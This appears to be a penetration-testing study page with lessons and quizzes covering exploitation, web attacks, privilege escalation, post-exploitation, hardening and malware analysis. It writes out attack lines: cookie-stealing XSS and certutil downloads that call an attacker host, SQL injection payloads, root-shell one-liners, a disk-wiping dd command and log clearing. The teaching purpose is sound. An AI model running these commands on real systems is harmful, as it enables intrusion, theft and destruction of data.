msfconsole is the primary interactive interface for Metasploit Framework.

Buffer Overflows & Memory Corruption

A buffer overflow occurs when data exceeds buffer bounds, overwriting adjacent memory. Overwrite the return address (EIP/RIP) to redirect execution to shellcode. Stack overflows exploit local variables; heap overflows target dynamic memory allocation.

Exploitation steps: 1) Find vulnerability (fuzzing), 2) Determine offset (pattern_create/pattern_offset), 3) Control EIP, 4) Find bad characters, 5) Locate shellcode space, 6) Bypass protections (ASLR, DEP, canaries).

Protections: ASLR (randomizes addresses), DEP/NX (non-executable stack), Stack Canaries (detect overflows), PIE (position-independent executables). Bypass: ROP chains, information leaks, brute force.

Professor Messer
Professor Messer

📝 Quick Quiz

What does ASLR do to prevent buffer overflows?

A. Makes stack executable
B. Randomizes memory addresses
C. Disables return addresses
D. Encrypts the heap
ASLR (Address Space Layout Randomization) randomizes memory addresses to make exploitation harder.

Web Application Exploitation

SQL Injection: inject SQL via input fields. ' OR '1'='1 bypasses auth. ' UNION SELECT null,username,password FROM users-- extracts data. Blind SQLi: infer data via boolean/time responses.

XSS: <script>document.location='http://attacker/steal?c='+document.cookie</script>. Reflected: in URL parameters. Stored: in database. DOM-based: client-side. Bypass filters: event handlers, encoding, polymorphic payloads.

CSRF: forge requests that execute when authenticated user visits attacker's page. SSRF: make server access internal resources. XXE: inject XML entities to read files or SSRF. Deserialization: exploit unsafe object reconstruction for RCE.

Professor Messer
Professor Messer

📝 Quick Quiz

What type of XSS persists in the database?

A. DOM-based
B. Reflected
C. Self-XSS
D. Stored
Stored XSS is permanently stored in the server's database and affects all users who view the affected page.

Client-Side Attacks

Phishing payloads: craft malicious documents (Word macros, PDF exploits, HTA files). Macro embedding: VBA scripts that download and execute payloads. Bypass email filters with password-protected archives.

Browser exploitation: use tools like Browser Exploitation Framework (BeEF) to hook browsers via XSS. Social Engineering Toolkit (SET) generates credential harvesting pages and drive-by downloads.

Defense: endpoint detection (EDR), application whitelisting, macro policies, browser isolation, and security awareness training. Test defenses by simulating realistic phishing campaigns and measuring click rates.

Professor Messer
Professor Messer

📝 Quick Quiz

What tool hooks browsers for post-exploitation?

A. Metasploit
B. Burp Suite
C. Nmap
D. BeEF
BeEF (Browser Exploitation Framework) hooks browsers via XSS for post-exploitation activities.

📝 Quick Quiz

Which Metasploit payload gives an interactive, scriptable session?

A. shell_reverse
B. Meterpreter
C. staged bind
D. Havoc
Meterpreter runs in-memory and offers commands like sysinfo, migrate, and upload.

📝 Quick Quiz

A buffer overflow occurs when:

A. A program reads past EOF
B. Data written exceeds the buffer's capacity
C. Two processes share memory
D. A disk is full
Overwriting adjacent memory can corrupt state or hijack execution.

📝 Quick Quiz

The component that runs after a vulnerability is triggered is the:

A. Exploit
B. Payload
C. Listener
D. Fuzzer
The exploit delivers the bug; the payload performs the action (shell, etc.).

📝 Quick Quiz

A NOP sled is used to:

A. Encrypt the payload
B. Reliably land on shellcode in memory
C. Evade IDS signatures
D. Defeat ASLR entropy
A long run of NOP instructions gives the CPU a target to slide into the shellcode.

Bug Bounty

Learn to find and report vulnerabilities for rewards through bug bounty programs and responsible disclosure.

⚡ Quick Reference
Command / TermWhat it does
Recon firstEnumerate subdomains: amass, subfinder
Check scopeOnly test in-scope assets
Report templateTitle, severity, steps, impact, fix
Common bugsIDOR, XSS, SSRF, info disclosure, weak auth
DisclosureCoordinated/Responsible > public
StartSmall programs, read policy carefully
ToolsBurp Suite, nuclei, waybackurls
SeverityCRITICAL > HIGH > MEDIUM > LOW > INFO

Bug Bounty Platforms & Programs

HackerOne, Bugcrowd, Intigriti, and YesWeHack connect researchers with programs. Private programs (invite-only) pay more. Government programs (e.g., VDP) have specific scope and rules.

Read program scope carefully: in-scope domains, out-of-scope items, allowed testing methods, and reward ranges. Respect Rules of Engagement — testing outside scope can have legal consequences.

Start with public programs to build reputation. As your reputation grows, you'll receive private invites. Focus on quality over quantity — one critical finding pays more than dozens of informational reports.

NetworkChuck
NetworkChuck

📝 Quick Quiz

Which platform is one of the largest bug bounty platforms?

A. GitHub
B. HackerOne
C. Stack Overflow
D. Shodan
HackerOne is one of the largest platforms connecting security researchers with bug bounty programs.

Finding High-Value Vulnerabilities

Focus on impact: Authentication bypass, authorization flaws (IDOR), SQL injection, RCE, SSRF. These pay premium bounties. Test for logic flaws — automated scanners miss business logic vulnerabilities.

Methodology: Recon (subdomains, tech stack) → Map (endpoints, parameters) → Fuzz (inputs, parameters) → Exploit (chaining vulnerabilities). Use Burp Suite for intercepting and modifying requests.

Automate what you can, but focus on manual testing for logic flaws. Test each endpoint for: parameter manipulation, IDOR, rate limiting, access control, input validation, and error handling.

NetworkChuck
NetworkChuck

📝 Quick Quiz

Which vulnerability type often pays premium bounties?

A. SQL injection
B. Verbose error messages
C. Missing security headers
D. Information disclosure
SQL injection and RCE vulnerabilities typically command the highest bounties due to their impact.

Tools & Techniques for Bug Bounty

Burp Suite: intercept proxy, repeater (manual testing), intruder (automated fuzzing), decoder (encoding/decoding). Essential for web application testing. OWASP ZAP is a free alternative.

Automation: Nuclei (template-based scanning), ffuf (web fuzzing), httpx (HTTP probing), Subfinder (subdomain discovery). Combine into pipelines: subfinder -d target | httpx | nuclei.

Recon automation: Amass, Sublist3r, Arjun (parameter discovery), Arjun. Keep detailed notes — revisit targets periodically as new endpoints and features are deployed.

NetworkChuck
NetworkChuck

📝 Quick Quiz

What tool is essential for intercepting and modifying web requests?

A. Burp Suite
B. Wireshark
C. Nmap
D. John the Ripper
Burp Suite is the industry standard for web application security testing.

Writing Effective Reports

Structure: Title (clear, specific), Summary (one paragraph), Impact (business impact), Steps to Reproduce (detailed, reproducible), Proof of Concept (screenshots, requests/responses), Remediation (specific fix).

Be professional: avoid aggressive language, don't demand rewards, and provide clear value. Write reports for the reader (usually non-technical managers). Include CVSS scores for severity assessment.

Follow up politely if no response within the program's SLA. If disputed, provide additional context or escalate through the platform's mediation process. Build relationships with triage teams for faster processing.

NetworkChuck
NetworkChuck

📝 Quick Quiz

What is the most important element of a bug bounty report?

A. Clear steps to reproduce
B. Number of screenshots
C. Aggressive tone
D. Length of the report
Clear, reproducible steps are essential for triage teams to verify and fix vulnerabilities.

📝 Quick Quiz

Responsible disclosure means:

A. Posting the bug publicly first
B. Privately notifying the vendor and allowing time to fix
C. Selling the bug
D. Ignoring the bug
Responsible/coordinated disclosure gives the vendor a head start on patching.

📝 Quick Quiz

Which bug class is often a great first find for beginners?

A. Zero-day kernel bug
B. IDOR (Insecure Direct Object Reference)
C. Hardware fault
D. DNS poisoning
IDORs only require changing an object reference (e.g. ?id=2) and are common.

📝 Quick Quiz

You discover a vulnerability in an out-of-scope asset. You should:

A. Test it anyway
B. Stop and report it only if the policy allows
C. Sell the data
D. Ignore the scope
Testing out-of-scope assets violates policy and may be illegal.

📝 Quick Quiz

A strong bug report includes:

A. A vague description
B. Reproduction steps, impact, and evidence
C. Only a screenshot
D. A demand for payment
Clear steps to reproduce, impact analysis, and proof make reports actionable.

Tools Master Reference

Comprehensive reference of cybersecurity tools: installation, usage, and practical examples.

⚡ Quick Reference
Command / TermWhat it does
Burp SuiteIntercept/modify HTTP traffic
WiresharkAnalyze pcap network captures
hydra -l admin -P pass.txt host sshBrute force login
john rockyou.txtCrack password hashes
sqlmap -u URL --dbsAutomate SQL injection
gobusterDirectory/subdomain brute forcing
niktoWeb vulnerability scanner
hashcat -m 0 hash.txt wordlistGPU hash cracking

Scanning & Enumeration Tools

Nmap: port scanning, service detection, OS fingerprinting. nmap -sV -sC -O target. Masscan: fastest port scanner (millions of IPs/sec). masscan 0.0.0.0/0 -p0-65535 --rate 10000.

Enum4linux: SMB enumeration. enum4linux -a target. Snmpwalk: SNMP enumeration. Nikto: web server scanner. Dirb/Gobuster: directory brute forcing.

Amass: OWASP subdomain enumeration. Subfinder: passive subdomain discovery. httpx: HTTP probing. Combine into automated recon pipelines for efficient target discovery.

freeCodeCamp
freeCodeCamp

📝 Quick Quiz

Which tool is the fastest port scanner available?

A. Masscan
B. Nmap
C. Zmap
D. Unicornscan
Masscan can scan millions of IPs per second, making it the fastest port scanner.

Exploitation & Post-Exploitation

Metasploit: exploitation framework with 2,000+ exploits. SearchSploit: offline Exploit-DB search. Empire: PowerShell post-exploitation. Cobalt Strike: commercial C2 framework.

Post-exploitation: Mimikatz (credential dumping), BloodHound (AD attack path mapping), CrackMapExec (network pivoting), Responder (LLMNR/NBT-NS poisoning).

Privilege escalation: LinPEAS/WinPEAS (automated enumeration), GTFOBins (Linux privesc), LOLBAS (Windows living-off-the-land), SUID binary enumeration.

freeCodeCamp
freeCodeCamp

📝 Quick Quiz

What tool maps Active Directory attack paths?

A. Mimikatz
B. Responder
C. BloodHound
D. Hydra
BloodHound analyzes Active Directory relationships to find attack paths to high-value targets.

Web Application Security Tools

Burp Suite: intercept proxy, scanner, intruder, repeater. OWASP ZAP: free alternative with automated scanning. SQLMap: automated SQL injection. Nikto: web server vulnerabilities.

WPScan: WordPress security scanner. WPScan: wpscan --url target --enumerate vp,vt,u. Dirb/Gobuster: directory enumeration. Wfuzz: web application fuzzer.

Specialized: XSStrike (XSS detection), Commix (command injection), XXEinjector (XXE exploitation), SSRFmap (SSRF exploitation). Each tool targets specific vulnerability classes.

freeCodeCamp
freeCodeCamp

📝 Quick Quiz

What is the primary tool for intercepting web traffic?

A. Burp Suite
B. Wireshark
C. Metasploit
D. Nmap
Burp Suite is the industry standard for web application security testing and traffic interception.

Password Cracking & Forensics

John the Ripper: john --wordlist=rockyou.txt hash.txt. Hashcat: GPU-accelerated, hashcat -m 0 hash.txt wordlist.txt. Supports 300+ hash modes. Hydra: network login brute force.

Forensics: Autopsy (disk analysis), Volatility (memory forensics), Binwalk (firmware analysis), ExifTool (metadata extraction), FTK Imager (disk imaging).

Network forensics: Wireshark (packet analysis), tshark (CLI packet capture), NetworkMiner (network forensic analysis). Capture and analyze traffic for incident investigation.

freeCodeCamp
freeCodeCamp

📝 Quick Quiz

Which tool provides GPU-accelerated password cracking?

A. Medusa
B. Hashcat
C. Hydra
D. John the Ripper
Hashcat uses GPU acceleration for significantly faster password cracking than CPU-based tools.

📝 Quick Quiz

Which tool intercepts and modifies HTTP traffic for web testing?

A. Wireshark
B. Burp Suite
C. Nmap
D. Hashcat
Burp Suite proxies requests so you can edit and replay them.

📝 Quick Quiz

Which tool analyzes pcap network captures?

A. Wireshark
B. Aircrack-ng
C. Gobuster
D. Metasploit
Wireshark decodes packets and protocols from live traffic or capture files.

📝 Quick Quiz

Which tool brute-forces web directories and subdomains?

A. Nikto
B. Gobuster
C. John
D. Hydra
gobuster fuzzes directories/files; Nikto scans known server vulns.

📝 Quick Quiz

Which tool automates SQL injection exploitation?

A. Sqlmap
B. Nuclei
C. Sqlite3
D. Sqlplus
sqlmap detects and exploits SQLi to dump databases automatically.

Privilege Escalation

Techniques for escalating privileges on Linux and Windows systems after initial access.

⚡ Quick Reference
Command / TermWhat it does
sudo -lCheck sudo permissions
find / -perm -4000 2>/dev/nullFind SUID binaries
linpeas.shAutomated Linux enumeration
winpeas.exeAutomated Windows enumeration
kernel exploitsMatch kernel version to CVE
unquoted service pathWindows service exploit
crontab -lList scheduled tasks
env vars / configsLook for leaked passwords

Linux Privilege Escalation

Automated enumeration: LinPEAS: curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh. Checks: SUID binaries, cron jobs, writable files, kernel exploits, capabilities, and misconfigurations.

Common vectors: SUID binaries (find / -perm -4000), writable /etc/passwd, sudo misconfigurations (sudo -l), cron jobs running as root, kernel exploits (DirtyPipe, DirtyCow), and capabilities (getcap -r /).

GTFOBins (gtfobins.github.io) catalogs binaries that can be abused for privesc. Examples: sudo vim -c ':!/bin/sh', sudo find / -exec /bin/sh \;, sudo python with os.execl to spawn a root shell.

Professor Messer
Professor Messer

📝 Quick Quiz

What is the first command to check for Linux privesc vectors?

A. uname -a
B. sudo -l
C. id
D. whoami
sudo -l lists what commands the current user can run as root, revealing potential privesc paths.

Windows Privilege Escalation

Automated: WinPEAS: winpeas.exe checks: unquoted service paths, DLL hijacking, AlwaysInstallElevated, token impersonation, and registry misconfigurations. PowerUp: PowerShell privesc checks.

Common vectors: Unquoted service paths, writable service binaries, AlwaysInstallElevated registry keys, token impersonation (SeImpersonatePrivilege), stored credentials (cmdkey /list), scheduled tasks, and MS16-032/MS16-075.

LOLBAS (Living Off The Land Binaries and Scripts): abuse legitimate Windows binaries for privesc. certutil.exe -urlcache -split -f http://attacker/payload.exe. mshta.exe, powershell.exe, rundll32.exe can all be abused.

Professor Messer
Professor Messer

📝 Quick Quiz

What Windows vulnerability allows MSI installation as SYSTEM?

A. BlueKeep
B. AlwaysInstallElevated
C. EternalBlue
D. DirtyPipe
AlwaysInstallElevated allows any user to install MSI packages with SYSTEM privileges.

Kernel Exploits & Misconfigurations

Kernel exploits target OS vulnerabilities: DirtyCow (CVE-2016-5195) — race condition in mm/gup.c. DirtyPipe (CVE-2022-0847) — pipe buffer overwrite. PwnKit (CVE-2021-4034) — pkexec SUID vulnerability.

Check kernel version: uname -a. Search exploit databases (Exploit-DB, GitHub) for matching exploits. Compile and execute: gcc exploit.c -o exploit && ./exploit. May require specific conditions or kernel configs.

Misconfigurations: writable /etc/passwd (add user with empty password), world-writable directories in PATH, LD_PRELOAD hijacking, cron jobs running as root with writable scripts. Always enumerate thoroughly before attempting exploits.

Professor Messer
Professor Messer

📝 Quick Quiz

What kernel vulnerability exploits a race condition in memory management?

A. Heartbleed
B. DirtyCow
C. EternalBlue
D. BlueKeep
DirtyCow (CVE-2016-5195) exploits a race condition in the Linux kernel's memory management subsystem.

Token Impersonation & Lateral Movement

Token Impersonation: Windows access tokens represent security contexts. Steal tokens from running processes: token::elevate (Mimikatz). SeImpersonatePrivilege allows impersonating authenticated users.

Lateral movement: Pass-the-Hash (use NTLM hashes without password), Pass-the-Ticket (use Kerberos tickets), PsExec (remote execution), WMI (Windows Management Instrumentation), WinRM (remote management).

Tools: CrackMapExec: cme smb target -u user -p pass --shares. Evil-WinRM: evil-winrm -i target -u user -p pass. Impacket suite: psexec.py, wmiexec.py, smbexec.py. Pivot through networks using compromised credentials.

Professor Messer
Professor Messer

📝 Quick Quiz

What privilege is required for Windows token impersonation?

A. SeRestorePrivilege
B. SeDebugPrivilege
C. SeBackupPrivilege
D. SeImpersonatePrivilege
SeImpersonatePrivilege allows a process to impersonate authenticated users using their access tokens.

📝 Quick Quiz

Which Linux attribute lets a binary run with its owner's privileges?

A. SGID
B. SUID
C. Sticky bit
D. Umask
SUID (setuid, 4000) runs the file as its owner — a classic privesc vector.

📝 Quick Quiz

The command sudo -l reveals:

A. All system users
B. Commands you may run with sudo
C. Open ports
D. Kernel modules
sudo -l lists permitted commands, useful for finding escalation paths.

📝 Quick Quiz

Kernel exploits target:

A. Weak passwords
B. Vulnerabilities in the operating system kernel
C. Open shares
D. Firewall misconfig
Kernel bugs can grant root access; match the exploit to the exact kernel version.

📝 Quick Quiz

Which is a common Windows privilege escalation vector?

A. Unquoted service paths
B. Raw sockets
C. Swap files
D. FAT32
Unquoted service paths let attackers drop an executable earlier in the path.

Post-Exploitation & Lateral Movement

Techniques for maintaining access, pivoting through networks, and achieving objectives after initial compromise.

⚡ Quick Reference
Command / TermWhat it does
Persistencecron jobs, SSH keys, startup entries
Lateral movementSSH, RDP, SMB, pass-the-hash
mimikatzDump Windows credentials
PivotingRoute through compromised host
Exfiltrationscp, curl, DNS tunneling
CleanupRemove artifacts, logs
Cover tracksLog tampering, timestomping
postexploitation msfsysinfo, screenshot, migrate, shell

Data Exfiltration & Persistence

Data exfiltration: encode data to avoid detection. base64 file | xclip -selection clipboard. Use DNS tunneling: dnscat2, iodine. HTTP/S channels blend with normal traffic. Rclone for cloud exfiltration.

Persistence mechanisms: Linux: cron jobs, systemd services, SSH keys, .bashrc. Windows: registry run keys, scheduled tasks, services, WMI subscriptions, DLL search order hijacking.

Cover tracks: clear logs (echo > /var/log/auth.log), modify timestamps (touch -r original modified), remove artifacts. On Windows: clear event logs, modify timestamps, delete temp files. Use ThreatHunting to understand what defenders look for.

John Hammond
John Hammond

📝 Quick Quiz

What tool provides DNS-based command and control?

A. dnscat2
B. Metasploit
C. Burp Suite
D. Nmap
dnscat2 creates encrypted C2 channels over DNS, which is rarely blocked in networks.

Lateral Movement Techniques

Network pivoting: use compromised hosts as jump boxes. SOCKS proxy: ssh -D 1080 user@compromised. Chisel: tunnel through firewalls. ProxyChains: route tools through SOCKS proxy.

Credential reuse: dump hashes (mimikatz), extract Kerberos tickets (ticketer.py), crack passwords (hashcat). Reuse credentials across services and systems. Check for password spray opportunities.

Active Directory attacks: Kerberoasting (request service tickets, crack offline), AS-REP Roasting (target accounts without pre-auth), Golden Ticket (forged TGT with domain hash), DCSync (replicate domain controller).

John Hammond
John Hammond

📝 Quick Quiz

What AD attack requests Kerberos service tickets for offline cracking?

A. Pass-the-Hash
B. AS-REP Roasting
C. Golden Ticket
D. Kerberoasting
Kerberoasting requests service tickets (TGS) and cracks them offline to recover service account passwords.

Command & Control Frameworks

Cobalt Strike: commercial C2 with Malleable C2 profiles, listeners, and beacon payloads. Industry standard for red teams. Sliver: open-source alternative with similar capabilities.

Empire: PowerShell/Python post-exploitation framework. Havoc: modern C2 framework with evasion capabilities. Brute Ratel: evades EDR with custom loaders and malleable profiles.

C2 best practices: use encrypted channels, blend with legitimate traffic, use domain fronting, rotate infrastructure, implement sleep jitter, and use custom profiles to mimic normal HTTP traffic patterns.

John Hammond
John Hammond

📝 Quick Quiz

What is the industry-standard commercial C2 framework?

A. Sliver
B. Cobalt Strike
C. Empire
D. Metasploit
Cobalt Strike is the industry-standard commercial C2 framework used by red teams.

Covering Tracks & Anti-Forensics

Log manipulation: clear or modify /var/log/auth.log, /var/log/syslog. On Windows: clear Security, System, and Application event logs. Use timestomp to modify file timestamps.

Anti-forensics tools: Timestomp (modify MAC times), Cleaner (remove artifacts), Secure-delete (srm for secure file deletion). Overwrite free space: dd if=/dev/urandom of=/dev/sda bs=1M.

Detection evasion: understand EDR/AV detection methods (behavioral analysis, memory scanning, network signatures). Use process injection, reflective DLL loading, and encrypted communications. Document evasion techniques for the red team report.

John Hammond
John Hammond

📝 Quick Quiz

What tool modifies file timestamps to hide evidence?

A. Timestomp
B. shred
C. rm
D. dd
Timestomp modifies file modification, access, and creation times to make forensic analysis harder.

📝 Quick Quiz

Persistence techniques are used to:

A. Boost performance
B. Maintain access across reboots
C. Hide the IP
D. Encrypt the disk
Persistence (cron, services, SSH keys) keeps access after the target restarts.

📝 Quick Quiz

Pivoting lets an attacker:

A. Hide their identity
B. Reach internal hosts through a compromised one
C. Bypass the firewall permanently
D. Change MAC addresses
The compromised host becomes a relay to the internal network.

📝 Quick Quiz

Which technique dumps credentials from Windows memory?

A. Mimikatz
B. Nmap
C. Wireshark
D. Curl
Mimikatz extracts plaintext passwords, hashes, and Kerberos tickets.

📝 Quick Quiz

Data exfiltration is:

A. Encrypting data at rest
B. Unauthorized removal of data from the network
C. Restoring backups
D. Archiving logs
Exfiltration moves sensitive data out, e.g. via scp, HTTP, or DNS tunneling.

Web Application Security

Master web vulnerabilities: SQLi, XSS, CSRF, SSRF, XXE, and web application penetration testing.

⚡ Quick Reference
Command / TermWhat it does
OWASP Top 10 (2021)A01 Broken Access Control, A02 Crypto Failures, A03 Injection...
XSS test<script>alert(1)</script>
SQLi test' OR 1=1 -- -
IDORChange IDs in URLs/APIs
CSRFForge authenticated requests
Security headersCSP, HSTS, X-Frame-Options, X-Content-Type-Options
WAF bypassEncoding, case tricks, alternate payloads
burp toolsRepeater, Intruder, Scanner, Proxy

SQL Injection Deep Dive

In-band SQLi: visible results. Union-based: ' UNION SELECT null,username,password FROM users--. Error-based: ' AND 1=CONVERT(int,(SELECT @@version))--. Determine column count with ORDER BY n.

Blind SQLi: Boolean-based: ' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='admin')='a'--. Time-based: ' AND IF(SUBSTRING(password,1,1)='a',SLEEP(5),0)--. Slow but reliable.

Out-of-band: exfiltrate data via DNS or HTTP requests from the database server. SQLMap: sqlmap -u 'http://target/page?id=1' --dbs --tables --dump. Always test all input fields, headers, and cookies for injection points.

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

What SQLi type uses time delays to infer data?

A. Out-of-band
B. Union-based
C. Error-based
D. Blind (Time-based)
Time-based blind SQLi uses SLEEP() or WAITFOR DELAY to infer data character by character.

Cross-Site Scripting (XSS)

Reflected XSS: payload in URL parameters, reflected in response. Stored XSS: payload persisted in database. DOM-based XSS: client-side JavaScript processes unsanitized input into DOM sinks.

Payloads: <script>document.location='http://a/c='+document.cookie</script>. Event handlers: <img onerror=alert(1) src=x>. Filter bypasses: mixed case, encoding, null bytes, nested tags.

Defense: Content Security Policy (CSP), HttpOnly cookies, input validation, output encoding. Test with XSStrike or manual payloads. XSS can steal sessions, keylog, redirect, and deliver malware.

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

Which XSS type is permanently stored in the target's database?

A. Stored
B. DOM-based
C. Self-XSS
D. Reflected
Stored XSS is permanently persisted and affects all users who view the affected content.

CSRF, SSRF & XXE

CSRF: forge requests that execute when authenticated user visits attacker's page. Exploit state-changing operations (password change, fund transfer). Defend with CSRF tokens, SameSite cookies, and origin validation.

SSRF: make the server access internal resources. http://target/fetch?url=http://169.254.169.254/latest/meta-data/ (cloud metadata). Exploit: internal port scanning, file read (file:///etc/passwd), cloud credential theft.

XXE: inject XML entities to read files or perform SSRF. Use DOCTYPE declarations with ENTITY elements pointing to system files. Blind XXE exfiltrates data via out-of-band channels. Always disable external entity processing in XML parsers.

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

What does SSRF allow an attacker to do?

A. Execute client-side scripts
B. Make the server access internal resources
C. Inject SQL queries
D. Steal client-side cookies
SSRF makes the target server request resources on behalf of the attacker, often accessing internal systems.

File Upload & Authentication Bypass

File Upload: bypass filters to upload web shells. Techniques: double extensions (shell.php.jpg), null bytes (shell.php%00.jpg), Content-Type manipulation, image metadata injection.

Authentication bypass: default credentials, brute force, credential stuffing, session fixation, JWT manipulation (alg:none), OAuth misconfiguration, and password reset flaws.

Session attacks: Session fixation: force known session ID. Session hijacking: steal session cookies via XSS or network sniffing. Token manipulation: modify JWT claims or session data. Always implement proper session management.

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

What JWT attack exploits the none algorithm?

A. alg:none bypass
B. Token replay
C. Session fixation
D. Brute force
The alg:none attack sets the JWT algorithm to none, bypassing signature verification entirely.

📝 Quick Quiz

What was the #1 OWASP Top 10 category in 2021?

A. Injection
B. Broken Access Control
C. XSS
D. Insecure Design
Broken Access Control (A01) includes IDOR and privilege issues.

📝 Quick Quiz

Stored XSS lets an attacker:

A. Execute scripts in every visitor's browser
B. Crash the database
C. Read server files
D. Brute force logins
Malicious input persisted on the page runs in other users' browsers.

📝 Quick Quiz

SQL injection primarily targets:

A. The reverse proxy
B. Database queries built from user input
C. The CDN
D. Client-side storage
Unsafe query concatenation lets attackers manipulate SQL logic.

📝 Quick Quiz

CSRF forces an authenticated victim to:

A. Give away their password
B. Perform unintended actions (e.g. transfer funds)
C. Install malware locally
D. Change DNS
CSRF abuses the victim's session to submit forged requests.

OS Security & Attacks

Operating system security hardening, common attacks, and defensive techniques for Windows and Linux.

⚡ Quick Reference
Command / TermWhat it does
HardeningDisable unused services, patch, least privilege
CIS BenchmarksConfiguration standards per OS
Patch cycleKnown CVEs are the #1 entry vector
EDREndpoint Detection and Response
MFAMulti-factor authentication
HIPS/HIDSHost intrusion prevention/detection
App allowlistingOnly run approved executables
Audit logsEnable and review system logging

Windows Security Hardening

Harden with Group Policy: enforce password policies, disable unnecessary services, restrict USB storage, enable audit logging. Windows Defender: enable ATP, configure ASR rules, network protection.

Patch management: wuauclt /detectnow /updatenow. Enable automatic updates. Use WSUS or SCCM for enterprise patching. Critical patches within 24-48 hours of release.

Firewall: netsh advfirewall set allprofiles state on. Disable SMBv1: Set-SmbServerConfiguration -EnableSMB1Protocol $false. Enable LSA protection. Configure Windows Event Forwarding for centralized logging.

Professor Messer
Professor Messer

📝 Quick Quiz

What Windows feature provides centralized policy management?

A. Registry Editor
B. PowerShell
C. Task Manager
D. Group Policy
Group Policy provides centralized management of Windows settings across domain-joined computers.

Linux Security Hardening

SSH hardening: disable root login (PermitRootLogin no), use key-based auth, change default port, implement fail2ban. Firewall: ufw enable or firewalld. Disable unused services.

File permissions: chmod 600 /etc/shadow, chmod 700 /root. Enable SELinux/AppArmor for mandatory access control. Audit SUID/SGID binaries: find / -perm -4000 -o -perm -2000.

Monitoring: auditd for system call auditing, rsyslog for centralized logging, ossec for HIDS, tripwire for file integrity monitoring. Regular lynis audit system for compliance checks.

Professor Messer
Professor Messer

📝 Quick Quiz

What tool provides file integrity monitoring on Linux?

A. auditd
B. rsyslog
C. fail2ban
D. tripwire
Tripwire monitors file changes and alerts on unauthorized modifications to critical system files.

Common OS Attacks

Pass-the-Hash: use NTLM hashes without knowing the password. Golden Ticket: forged Kerberos TGT. DCSync: replicate domain controller. Kerberoasting: crack service ticket hashes.

Linux: DirtyPipe (CVE-2022-0847), DirtyCow (CVE-2016-5195), PwnKit (CVE-2021-4034), kernel module loading, ptrace injection. Exploit misconfigured sudo rules and cron jobs.

Cross-platform: man-in-the-middle (ARP spoofing, DNS poisoning), denial of service (SYN flood, amplification), physical attacks (evil maid, cold boot), supply chain attacks (compromised updates).

Professor Messer
Professor Messer

📝 Quick Quiz

What Windows attack uses NTLM hashes for authentication?

A. DCSync
B. Golden Ticket
C. Kerberoasting
D. Pass-the-Hash
Pass-the-Hash uses stolen NTLM hashes to authenticate without knowing the plaintext password.

Security Monitoring & Detection

SIEM: Splunk, ELK Stack, Wazuh aggregate logs and detect anomalies. Correlate events across endpoints, network, and applications. Create detection rules for known attack patterns.

EDR: CrowdStrike, Carbon Black, SentinelOne monitor endpoint behavior. Detect process injection, fileless malware, and lateral movement. NDR: Darktrace, Zeek analyze network traffic for anomalies.

Threat hunting: proactively search for indicators of compromise (IOCs). Use MITRE ATT&CK framework to map techniques. Hunt for persistence mechanisms, unusual network connections, and anomalous process behavior.

Professor Messer
Professor Messer

📝 Quick Quiz

What framework maps adversary tactics and techniques?

A. NIST CSF
B. COBIT
C. MITRE ATT&CK
D. ISO 27001
MITRE ATT&CK provides a comprehensive knowledge base of adversary tactics, techniques, and procedures.

📝 Quick Quiz

Which practice is core to OS hardening?

A. Enabling every service
B. Disabling unnecessary services and ports
C. Giving all users admin
D. Disabling logs
Reducing attack surface by disabling unneeded services is a hardening baseline.

📝 Quick Quiz

EDR stands for:

A. Endpoint Detection and Response
B. Encrypted Data Relay
C. External Domain Routing
D. Event Data Repository
EDR monitors endpoints for suspicious behavior and enables response.

📝 Quick Quiz

Patching mainly reduces risk from:

A. Zero-days
B. Known vulnerabilities with public fixes
C. Physical theft
D. Phishing
Most breaches exploit known, patchable vulnerabilities.

📝 Quick Quiz

The principle of least privilege means:

A. Everyone gets admin
B. Users get only the access their role requires
C. No accounts
D. Guests first
Least privilege limits blast radius and lateral movement.

Malware Analysis

Analyze malware behavior, reverse engineer binaries, and develop detection signatures.

⚡ Quick Reference
Command / TermWhat it does
TypesVirus, worm, trojan, ransomware, rootkit, keylogger
TriageFile type, hashes, strings, suspicious imports
strings fileExtract readable strings
Static analysisReview code without executing
Dynamic analysisRun in a sandbox, watch behavior
Process monitorWatch file/reg/network activity
YARA rulesPattern matching for malware families
VT / Joe SandboxOnline analysis sandboxes

Malware Types & Taxonomy

Viruses: attach to executables, spread via user action. Worms: self-replicating, spread without user interaction. Trojans: disguise as legitimate software. Ransomware: encrypt files for ransom. Spyware: covert surveillance.

Rootkits: hide persistence mechanisms (kernel rootkits modify OS). Bootkits: infect boot sector/UEFI. Fileless malware: lives in memory, uses legitimate tools (PowerShell, WMI). Polymorphic/metamorphic: change code to evade detection.

Analysis environment: use virtual machines (VMware, VirtualBox) with snapshot capability. Cuckoo Sandbox automates dynamic analysis. FLARE VM and REMnux are purpose-built malware analysis distributions.

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

What type of malware encrypts files and demands payment?

A. Worm
B. Trojan
C. Ransomware
D. Rootkit
Ransomware encrypts victim's files and demands payment for the decryption key.

Static Analysis

Examine without execution: file (identify type), strings (extract readable text — URLs, IPs, registry keys), PEview/pestudio (PE header analysis). Check hashes on VirusTotal.

IDA Pro/Ghidra: disassemble and decompile. Identify functions, imports (API calls reveal behavior), and control flow. Look for anti-analysis techniques: debugger detection, VM detection, timing checks.

Static signatures: YARA rules match byte patterns. yara -r rules/ sample.exe. Create detection signatures from identified indicators: function hashes, string patterns, and behavioral markers.

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

What free tool provides reverse engineering capabilities comparable to IDA Pro?

A. OllyDbg
B. x64dbg
C. WinDbg
D. Ghidra
Ghidra is NSA's open-source reverse engineering framework with decompilation capabilities.

Dynamic Analysis

Execute in sandboxed environment and monitor: Process Monitor (file system, registry, network activity), Wireshark (network traffic), Regshot (registry changes), ProcDot (behavior visualization).

Cuckoo Sandbox: automated analysis — drops sample, monitors API calls, network traffic, file modifications. Generates detailed reports with indicators of compromise (IOCs).

Observe: persistence mechanisms, network connections (C2 communication), file modifications, registry changes, process injection, and privilege escalation attempts. Extract IOCs: IPs, domains, file hashes, mutexes, registry keys.

The Cyber Mentor
The Cyber Mentor

📝 Quick Quiz

What tool monitors file system, registry, and process activity?

A. Nmap
B. Ghidra
C. Process Monitor
D. Wireshark
Process Monitor (ProcMon) provides real-time monitoring of file system, registry, and process activity.

Reverse Engineering Basics

